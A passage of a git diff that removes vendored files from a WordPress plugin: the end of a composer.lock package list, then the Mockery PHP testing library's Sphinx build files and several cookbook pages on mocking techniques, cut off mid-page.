"2020-09-28T06:45:17+00:00" - }, - { - "name": "sebastian/type", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/type.git", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.5" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.2-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the types of the PHP type system", - "homepage": "https://github.com/sebastianbergmann/type", - "support": { - "issues": "https://github.com/sebastianbergmann/type/issues", - "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:13:03+00:00" - }, - { - "name": "sebastian/version", - "version": "3.0.2", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/version.git", - "reference": "c6c1022351a901512170118436c764e473f6de8c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", - "reference": "c6c1022351a901512170118436c764e473f6de8c", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "support": { - "issues": "https://github.com/sebastianbergmann/version/issues", - "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T06:39:44+00:00" - }, - { - "name": "symplify/easy-coding-standard", - "version": "12.1.14", - "source": { - "type": "git", - "url": "https://github.com/easy-coding-standard/easy-coding-standard.git", - "reference": "e3c4a241ee36704f7cf920d5931f39693e64afd5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/easy-coding-standard/easy-coding-standard/zipball/e3c4a241ee36704f7cf920d5931f39693e64afd5", - "reference": "e3c4a241ee36704f7cf920d5931f39693e64afd5", - "shasum": "" - }, - "require": { - "php": ">=7.2" - }, - "conflict": { - "friendsofphp/php-cs-fixer": "<3.46", - "phpcsstandards/php_codesniffer": "<3.8", - "symplify/coding-standard": "<12.1" - }, - "bin": [ - "bin/ecs" - ], - "type": "library", - "autoload": { - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "Use Coding Standard with 0-knowledge of PHP-CS-Fixer and PHP_CodeSniffer", - "keywords": [ - "Code style", - "automation", - "fixer", - "static analysis" - ], - "support": { - "issues": "https://github.com/easy-coding-standard/easy-coding-standard/issues", - "source": "https://github.com/easy-coding-standard/easy-coding-standard/tree/12.1.14" - }, - "funding": [ - { - "url": "https://www.paypal.me/rectorphp", - "type": "custom" - }, - { - "url": "https://github.com/tomasvotruba", - "type": "github" - } - ], - "time": "2024-02-23T13:10:40+00:00" - }, - { - "name": "theseer/tokenizer", - "version": "1.2.2", - "source": { - "type": "git", - "url": "https://github.com/theseer/tokenizer.git", - "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", - "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - } - ], - "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", - "support": { - "issues": "https://github.com/theseer/tokenizer/issues", - "source": "https://github.com/theseer/tokenizer/tree/1.2.2" - }, - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "time": "2023-11-20T00:12:19+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": { - "php": ">=7.3", - "lib-pcre": ">=7.0" - }, - "platform-dev": [], - "platform-overrides": { - "php": "7.3.999" - }, - "plugin-api-version": "2.6.0" -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/.gitignore b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/.gitignore deleted file mode 100644 index e35d8850..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/.gitignore +++ /dev/null @@ -1 +0,0 @@ -_build diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/Makefile b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/Makefile deleted file mode 100644 index 9a8c9408..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/Makefile +++ /dev/null @@ -1,177 +0,0 @@ -# Makefile for Sphinx documentation -# - -# You can set these variables from the command line. -SPHINXOPTS = -SPHINXBUILD = sphinx-build -PAPER = -BUILDDIR = _build - -# User-friendly check for sphinx-build -ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) -$(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/) -endif - -# Internal variables. -PAPEROPT_a4 = -D latex_paper_size=a4 -PAPEROPT_letter = -D latex_paper_size=letter -ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . -# the i18n builder cannot share the environment and doctrees with the others -I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . - -.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext - -help: - @echo "Please use \`make ' where is one of" - @echo " html to make standalone HTML files" - @echo " dirhtml to make HTML files named index.html in directories" - @echo " singlehtml to make a single large HTML file" - @echo " pickle to make pickle files" - @echo " json to make JSON files" - @echo " htmlhelp to make HTML files and a HTML help project" - @echo " qthelp to make HTML files and a qthelp project" - @echo " devhelp to make HTML files and a Devhelp project" - @echo " epub to make an epub" - @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" - @echo " latexpdf to make LaTeX files and run them through pdflatex" - @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" - @echo " text to make text files" - @echo " man to make manual pages" - @echo " texinfo to make Texinfo files" - @echo " info to make Texinfo files and run them through makeinfo" - @echo " gettext to make PO message catalogs" - @echo " changes to make an overview of all changed/added/deprecated items" - @echo " xml to make Docutils-native XML files" - @echo " pseudoxml to make pseudoxml-XML files for display purposes" - @echo " linkcheck to check all external links for integrity" - @echo " doctest to run all doctests embedded in the documentation (if enabled)" - -clean: - rm -rf $(BUILDDIR)/* - -html: - $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." - -dirhtml: - $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." - -singlehtml: - $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml - @echo - @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." - -pickle: - $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle - @echo - @echo "Build finished; now you can process the pickle files." - -json: - $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json - @echo - @echo "Build finished; now you can process the JSON files." - -htmlhelp: - $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp - @echo - @echo "Build finished; now you can run HTML Help Workshop with the" \ - ".hhp project file in $(BUILDDIR)/htmlhelp." - -qthelp: - $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp - @echo - @echo "Build finished; now you can run "qcollectiongenerator" with the" \ - ".qhcp project file in $(BUILDDIR)/qthelp, like this:" - @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/MockeryDocs.qhcp" - @echo "To view the help file:" - @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/MockeryDocs.qhc" - -devhelp: - $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp - @echo - @echo "Build finished." - @echo "To view the help file:" - @echo "# mkdir -p $$HOME/.local/share/devhelp/MockeryDocs" - @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/MockeryDocs" - @echo "# devhelp" - -epub: - $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub - @echo - @echo "Build finished. The epub file is in $(BUILDDIR)/epub." - -latex: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo - @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." - @echo "Run \`make' in that directory to run these through (pdf)latex" \ - "(use \`make latexpdf' here to do that automatically)." - -latexpdf: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo "Running LaTeX files through pdflatex..." - $(MAKE) -C $(BUILDDIR)/latex all-pdf - @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." - -latexpdfja: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo "Running LaTeX files through platex and dvipdfmx..." - $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja - @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." - -text: - $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text - @echo - @echo "Build finished. The text files are in $(BUILDDIR)/text." - -man: - $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man - @echo - @echo "Build finished. The manual pages are in $(BUILDDIR)/man." - -texinfo: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo - @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." - @echo "Run \`make' in that directory to run these through makeinfo" \ - "(use \`make info' here to do that automatically)." - -info: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo "Running Texinfo files through makeinfo..." - make -C $(BUILDDIR)/texinfo info - @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." - -gettext: - $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale - @echo - @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." - -changes: - $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes - @echo - @echo "The overview file is in $(BUILDDIR)/changes." - -linkcheck: - $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck - @echo - @echo "Link check complete; look for any errors in the above output " \ - "or in $(BUILDDIR)/linkcheck/output.txt." - -doctest: - $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest - @echo "Testing of doctests in the sources finished, look at the " \ - "results in $(BUILDDIR)/doctest/output.txt." - -xml: - $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml - @echo - @echo "Build finished. The XML files are in $(BUILDDIR)/xml." - -pseudoxml: - $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml - @echo - @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/README.md deleted file mode 100644 index 63ca69db..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/README.md +++ /dev/null @@ -1,4 +0,0 @@ -mockery-docs -============ - -Document for the PHP Mockery framework on readthedocs.org \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/_static/.gitkeep b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/_static/.gitkeep deleted file mode 100644 index e69de29b..00000000 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/conf.py b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/conf.py deleted file mode 100644 index d0f69600..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/conf.py +++ /dev/null @@ -1,268 +0,0 @@ -# -*- coding: utf-8 -*- -# -# Mockery Docs documentation build configuration file, created by -# sphinx-quickstart on Mon Mar 3 14:04:26 2014. -# -# This file is execfile()d with the current directory set to its -# containing dir. -# -# Note that not all possible configuration values are present in this -# autogenerated file. -# -# All configuration values have a default; values that are commented out -# serve to show the default. - -import sys -import os - -# If extensions (or modules to document with autodoc) are in another directory, -# add these directories to sys.path here. If the directory is relative to the -# documentation root, use os.path.abspath to make it absolute, like shown here. -#sys.path.insert(0, os.path.abspath('.')) - -# -- General configuration ------------------------------------------------ - -# If your documentation needs a minimal Sphinx version, state it here. -#needs_sphinx = '1.0' - -# Add any Sphinx extension module names here, as strings. They can be -# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom -# ones. -extensions = [ - 'sphinx.ext.todo', - 'sphinx_rtd_theme', -] - -# Add any paths that contain templates here, relative to this directory. -templates_path = ['_templates'] - -# The suffix of source filenames. -source_suffix = '.rst' - -# The encoding of source files. -#source_encoding = 'utf-8-sig' - -# The master toctree document. -master_doc = 'index' - -# General information about the project. -project = u'Mockery Docs' -copyright = u'Pádraic Brady, Dave Marshall and contributors' - -# The version info for the project you're documenting, acts as replacement for -# |version| and |release|, also used in various other places throughout the -# built documents. -# -# The short X.Y version. -version = '1.6' -# The full version, including alpha/beta/rc tags. -release = '1.6.x' - -# The language for content autogenerated by Sphinx. Refer to documentation -# for a list of supported languages. -#language = None - -# There are two options for replacing |today|: either, you set today to some -# non-false value, then it is used: -#today = '' -# Else, today_fmt is used as the format for a strftime call. -#today_fmt = '%B %d, %Y' - -# List of patterns, relative to source directory, that match files and -# directories to ignore when looking for source files. -exclude_patterns = ['_build'] - -# The reST default role (used for this markup: `text`) to use for all -# documents. -#default_role = None - -# If true, '()' will be appended to :func: etc. cross-reference text. -#add_function_parentheses = True - -# If true, the current module name will be prepended to all description -# unit titles (such as .. function::). -#add_module_names = True - -# If true, sectionauthor and moduleauthor directives will be shown in the -# output. They are ignored by default. -#show_authors = False - -# The name of the Pygments (syntax highlighting) style to use. -pygments_style = 'sphinx' - -# A list of ignored prefixes for module index sorting. -#modindex_common_prefix = [] - -# If true, keep warnings as "system message" paragraphs in the built documents. -#keep_warnings = False - - -# -- Options for HTML output ---------------------------------------------- - -# The theme to use for HTML and HTML Help pages. See the documentation for -# a list of builtin themes. -html_theme = 'sphinx_rtd_theme' - -# Theme options are theme-specific and customize the look and feel of a theme -# further. For a list of options available for each theme, see the -# documentation. -#html_theme_options = {} - -# Add any paths that contain custom themes here, relative to this directory. -#html_theme_path = [] - -# The name of an image file (within the static path) to use as favicon of the -# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 -# pixels large. -#html_favicon = None - -# Add any paths that contain custom static files (such as style sheets) here, -# relative to this directory. They are copied after the builtin static files, -# so a file named "default.css" will overwrite the builtin "default.css". -html_static_path = ['_static'] - -# Add any extra paths that contain custom files (such as robots.txt or -# .htaccess) here, relative to this directory. These files are copied -# directly to the root of the documentation. -#html_extra_path = [] - -# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, -# using the given strftime format. -#html_last_updated_fmt = '%b %d, %Y' - -# If true, SmartyPants will be used to convert quotes and dashes to -# typographically correct entities. -#html_use_smartypants = True - -# Custom sidebar templates, maps document names to template names. -#html_sidebars = {} - -# Additional templates that should be rendered to pages, maps page names to -# template names. -#html_additional_pages = {} - -# If false, no module index is generated. -#html_domain_indices = True - -# If false, no index is generated. -#html_use_index = True - -# If true, the index is split into individual pages for each letter. -#html_split_index = False - -# If true, links to the reST sources are added to the pages. -#html_show_sourcelink = True - -# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. -#html_show_sphinx = True - -# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. -#html_show_copyright = True - -# If true, an OpenSearch description file will be output, and all pages will -# contain a tag referring to it. The value of this option must be the -# base URL from which the finished HTML is served. -#html_use_opensearch = '' - -# This is the file name suffix for HTML files (e.g. ".xhtml"). -#html_file_suffix = None - -# Output file base name for HTML help builder. -htmlhelp_basename = 'MockeryDocsdoc' - - -# -- Options for LaTeX output --------------------------------------------- - -latex_elements = { -# The paper size ('letterpaper' or 'a4paper'). -#'papersize': 'letterpaper', - -# The font size ('10pt', '11pt' or '12pt'). -#'pointsize': '10pt', - -# Additional stuff for the LaTeX preamble. -#'preamble': '', -} - -# Grouping the document tree into LaTeX files. List of tuples -# (source start file, target name, title, -# author, documentclass [howto, manual, or own class]). -latex_documents = [ - ('index', 'MockeryDocs.tex', u'Mockery Docs Documentation', - u'Pádraic Brady, Dave Marshall, Wouter, Graham Campbell', 'manual'), -] - -# The name of an image file (relative to this directory) to place at the top of -# the title page. -#latex_logo = None - -# For "manual" documents, if this is true, then toplevel headings are parts, -# not chapters. -#latex_use_parts = False - -# If true, show page references after internal links. -#latex_show_pagerefs = False - -# If true, show URL addresses after external links. -#latex_show_urls = False - -# Documents to append as an appendix to all manuals. -#latex_appendices = [] - -# If false, no module index is generated. -#latex_domain_indices = True - - -# -- Options for manual page output --------------------------------------- - -# One entry per manual page. List of tuples -# (source start file, name, description, authors, manual section). -man_pages = [ - ('index', 'mockerydocs', u'Mockery Docs Documentation', - [u'Pádraic Brady, Dave Marshall, Wouter, Graham Campbell'], 1) -] - -# If true, show URL addresses after external links. -#man_show_urls = False - - -# -- Options for Texinfo output ------------------------------------------- - -# Grouping the document tree into Texinfo files. List of tuples -# (source start file, target name, title, author, -# dir menu entry, description, category) -texinfo_documents = [ - ('index', 'MockeryDocs', u'Mockery Docs Documentation', - u'Pádraic Brady, Dave Marshall, Wouter, Graham Campbell', 'MockeryDocs', 'One line description of project.', - 'Miscellaneous'), -] - -# Documents to append as an appendix to all manuals. -#texinfo_appendices = [] - -# If false, no module index is generated. -#texinfo_domain_indices = True - -# How to display URL addresses: 'footnote', 'no', or 'inline'. -#texinfo_show_urls = 'footnote' - -# If true, do not generate a @detailmenu in the "Top" node's menu. -#texinfo_no_detailmenu = False - - -#on_rtd is whether we are on readthedocs.org, this line of code grabbed from docs.readthedocs.org -on_rtd = os.environ.get('READTHEDOCS', None) == 'True' - -if not on_rtd: # only import and set the theme if we're building docs locally - import sphinx_rtd_theme - html_theme = 'sphinx_rtd_theme' - html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] - print(sphinx_rtd_theme.get_html_theme_path()) - -# load PhpLexer -from sphinx.highlighting import lexers -from pygments.lexers.web import PhpLexer - -# enable highlighting for PHP code not between by default -lexers['php'] = PhpLexer(startinline=True) -lexers['php-annotations'] = PhpLexer(startinline=True) diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/big_parent_class.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/big_parent_class.rst deleted file mode 100644 index a27d5327..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/big_parent_class.rst +++ /dev/null @@ -1,52 +0,0 @@ -.. index:: - single: Cookbook; Big Parent Class - -Big Parent Class -================ - -In some application code, especially older legacy code, we can come across some -classes that extend a "big parent class" - a parent class that knows and does -too much: - -.. code-block:: php - - class BigParentClass - { - public function doesEverything() - { - // sets up database connections - // writes to log files - } - } - - class ChildClass extends BigParentClass - { - public function doesOneThing() - { - // but calls on BigParentClass methods - $result = $this->doesEverything(); - // does something with $result - return $result; - } - } - -We want to test our ``ChildClass`` and its ``doesOneThing`` method, but the -problem is that it calls on ``BigParentClass::doesEverything()``. One way to -handle this would be to mock out **all** of the dependencies ``BigParentClass`` -has and needs, and then finally actually test our ``doesOneThing`` method. It's -an awful lot of work to do that. - -What we can do, is to do something... unconventional. We can create a runtime -partial test double of the ``ChildClass`` itself and mock only the parent's -``doesEverything()`` method: - -.. code-block:: php - - $childClass = \Mockery::mock('ChildClass')->makePartial(); - $childClass->shouldReceive('doesEverything') - ->andReturn('some result from parent'); - - $childClass->doesOneThing(); // string("some result from parent"); - -With this approach we mock out only the ``doesEverything()`` method, and all the -unmocked methods are called on the actual ``ChildClass`` instance. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/class_constants.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/class_constants.rst deleted file mode 100644 index 0b925692..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/class_constants.rst +++ /dev/null @@ -1,183 +0,0 @@ -.. index:: - single: Cookbook; Class Constants - -Class Constants -=============== - -When creating a test double for a class, Mockery does not create stubs out of -any class constants defined in the class we are mocking. Sometimes though, the -non-existence of these class constants, setup of the test, and the application -code itself, it can lead to undesired behavior, and even a PHP error: -``PHP Fatal error: Uncaught Error: Undefined class constant 'FOO' in ...`` - -While supporting class constants in Mockery would be possible, it does require -an awful lot of work, for a small number of use cases. - -Named Mocks ------------ - -We can, however, deal with these constants in a way supported by Mockery - by -using :ref:`creating-test-doubles-named-mocks`. - -A named mock is a test double that has a name of the class we want to mock, but -under it is a stubbed out class that mimics the real class with canned responses. - -Lets look at the following made up, but not impossible scenario: - -.. code-block:: php - - class Fetcher - { - const SUCCESS = 0; - const FAILURE = 1; - - public static function fetch() - { - // Fetcher gets something for us from somewhere... - return self::SUCCESS; - } - } - - class MyClass - { - public function doFetching() - { - $response = Fetcher::fetch(); - - if ($response == Fetcher::SUCCESS) { - echo "Thanks!" . PHP_EOL; - } else { - echo "Try again!" . PHP_EOL; - } - } - } - -Our ``MyClass`` calls a ``Fetcher`` that fetches some resource from somewhere - -maybe it downloads a file from a remote web service. Our ``MyClass`` prints out -a response message depending on the response from the ``Fetcher::fetch()`` call. - -When testing ``MyClass`` we don't really want ``Fetcher`` to go and download -random stuff from the internet every time we run our test suite. So we mock it -out: - -.. code-block:: php - - // Using alias: because fetch is called statically! - \Mockery::mock('alias:Fetcher') - ->shouldReceive('fetch') - ->andReturn(0); - - $myClass = new MyClass(); - $myClass->doFetching(); - -If we run this, our test will error out with a nasty -``PHP Fatal error: Uncaught Error: Undefined class constant 'SUCCESS' in ..``. - -Here's how a ``namedMock()`` can help us in a situation like this. - -We create a stub for the ``Fetcher`` class, stubbing out the class constants, -and then use ``namedMock()`` to create a mock named ``Fetcher`` based on our -stub: - -.. code-block:: php - - class FetcherStub - { - const SUCCESS = 0; - const FAILURE = 1; - } - - \Mockery::namedMock('Fetcher', 'FetcherStub') - ->shouldReceive('fetch') - ->andReturn(0); - - $myClass = new MyClass(); - $myClass->doFetching(); - -This works because under the hood, Mockery creates a class called ``Fetcher`` -that extends ``FetcherStub``. - -The same approach will work even if ``Fetcher::fetch()`` is not a static -dependency: - -.. code-block:: php - - class Fetcher - { - const SUCCESS = 0; - const FAILURE = 1; - - public function fetch() - { - // Fetcher gets something for us from somewhere... - return self::SUCCESS; - } - } - - class MyClass - { - public function doFetching($fetcher) - { - $response = $fetcher->fetch(); - - if ($response == Fetcher::SUCCESS) { - echo "Thanks!" . PHP_EOL; - } else { - echo "Try again!" . PHP_EOL; - } - } - } - -And the test will have something like this: - -.. code-block:: php - - class FetcherStub - { - const SUCCESS = 0; - const FAILURE = 1; - } - - $mock = \Mockery::mock('Fetcher', 'FetcherStub') - $mock->shouldReceive('fetch') - ->andReturn(0); - - $myClass = new MyClass(); - $myClass->doFetching($mock); - - -Constants Map -------------- - -Another way of mocking class constants can be with the use of the constants map configuration. - -Given a class with constants: - -.. code-block:: php - - class Fetcher - { - const SUCCESS = 0; - const FAILURE = 1; - - public function fetch() - { - // Fetcher gets something for us from somewhere... - return self::SUCCESS; - } - } - -It can be mocked with: - -.. code-block:: php - - \Mockery::getConfiguration()->setConstantsMap([ - 'Fetcher' => [ - 'SUCCESS' => 'success', - 'FAILURE' => 'fail', - ] - ]); - - $mock = \Mockery::mock('Fetcher'); - var_dump($mock::SUCCESS); // (string) 'success' - var_dump($mock::FAILURE); // (string) 'fail' diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/default_expectations.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/default_expectations.rst deleted file mode 100644 index 2c6fcae2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/default_expectations.rst +++ /dev/null @@ -1,17 +0,0 @@ -.. index:: - single: Cookbook; Default Mock Expectations - -Default Mock Expectations -========================= - -Often in unit testing, we end up with sets of tests which use the same object -dependency over and over again. Rather than mocking this class/object within -every single unit test (requiring a mountain of duplicate code), we can -instead define reusable default mocks within the test case's ``setup()`` -method. This even works where unit tests use varying expectations on the same -or similar mock object. - -How this works, is that you can define mocks with default expectations. Then, -in a later unit test, you can add or fine-tune expectations for that specific -test. Any expectation can be set as a default using the ``byDefault()`` -declaration. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/detecting_mock_objects.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/detecting_mock_objects.rst deleted file mode 100644 index 0210c692..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/detecting_mock_objects.rst +++ /dev/null @@ -1,13 +0,0 @@ -.. index:: - single: Cookbook; Detecting Mock Objects - -Detecting Mock Objects -====================== - -Users may find it useful to check whether a given object is a real object or a -simulated Mock Object. All Mockery mocks implement the -``\Mockery\MockInterface`` interface which can be used in a type check. - -.. code-block:: php - - assert($mightBeMocked instanceof \Mockery\MockInterface); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/index.rst deleted file mode 100644 index 034e39de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/index.rst +++ /dev/null @@ -1,16 +0,0 @@ -Cookbook -======== - -.. toctree:: - :hidden: - - default_expectations - detecting_mock_objects - not_calling_the_constructor - mocking_hard_dependencies - class_constants - big_parent_class - mockery_on - mocking_class_within_class - -.. include:: map.rst.inc diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/map.rst.inc b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/map.rst.inc deleted file mode 100644 index c9dd99ef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/map.rst.inc +++ /dev/null @@ -1,7 +0,0 @@ -* :doc:`/cookbook/default_expectations` -* :doc:`/cookbook/detecting_mock_objects` -* :doc:`/cookbook/not_calling_the_constructor` -* :doc:`/cookbook/mocking_hard_dependencies` -* :doc:`/cookbook/class_constants` -* :doc:`/cookbook/big_parent_class` -* :doc:`/cookbook/mockery_on` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mockery_on.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mockery_on.rst deleted file mode 100644 index 631f1241..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mockery_on.rst +++ /dev/null @@ -1,85 +0,0 @@ -.. index:: - single: Cookbook; Complex Argument Matching With Mockery::on - -Complex Argument Matching With Mockery::on -========================================== - -When we need to do a more 